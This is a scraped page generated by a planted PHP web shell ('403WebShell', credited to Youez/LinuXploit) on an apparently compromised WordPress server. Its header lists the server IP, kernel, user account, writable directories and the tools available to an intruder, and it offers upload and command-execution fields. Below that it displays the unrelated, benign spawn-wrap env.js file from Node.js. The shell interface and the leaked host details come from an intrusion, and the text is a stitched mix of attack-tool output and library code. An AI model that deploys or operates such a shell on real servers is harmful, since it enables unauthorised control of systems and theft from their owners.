Warning: Trying to access array offset on null in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2

Deprecated: md5(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.233
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/nodejs/spawn-wrap/lib/mungers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/spawn-wrap/lib/mungers/env.js
'use strict';

const isWindows = require("is-windows")
const path = require("path")
const homedir = require("../homedir")

const pathRe = isWindows() ? /^PATH=/i : /^PATH=/;

/**
 * Updates the environment variables to intercept `node` commands and pass down options.
 *
 * @param workingDir {string} Absolute system-dependent path to the directory containing the shim files.
 * @param options {import("../munge").InternalSpawnOptions} Original internal spawn options.
 * @return {import("../munge").InternalSpawnOptions} Updated internal spawn options.
 */
function mungeEnv(workingDir, options) {
  let pathEnv

  const envPairs = options.envPairs.map((ep) => {
    if (pathRe.test(ep)) {
      // `PATH` env var: prefix its value with `workingDir`
      // `5` corresponds to the length of `PATH=`
      pathEnv = ep.substr(5)
      const k = ep.substr(0, 5)
      return k + workingDir + path.delimiter + pathEnv
    } else {
      // Return as-is
      return ep;
    }
  });

  if (pathEnv === undefined) {
    envPairs.push((isWindows() ? 'Path=' : 'PATH=') + workingDir)
  }
  if (options.originalNode) {
    const key = path.basename(workingDir).substr('.node-spawn-wrap-'.length)
    envPairs.push('SW_ORIG_' + key + '=' + options.originalNode)
  }

  envPairs.push('SPAWN_WRAP_SHIM_ROOT=' + homedir)

  if (process.env.SPAWN_WRAP_DEBUG === '1') {
    envPairs.push('SPAWN_WRAP_DEBUG=1')
  }

  return {...options, envPairs};
}

module.exports = mungeEnv

Youez - 2016 - github.com/yon3zu
LinuXploit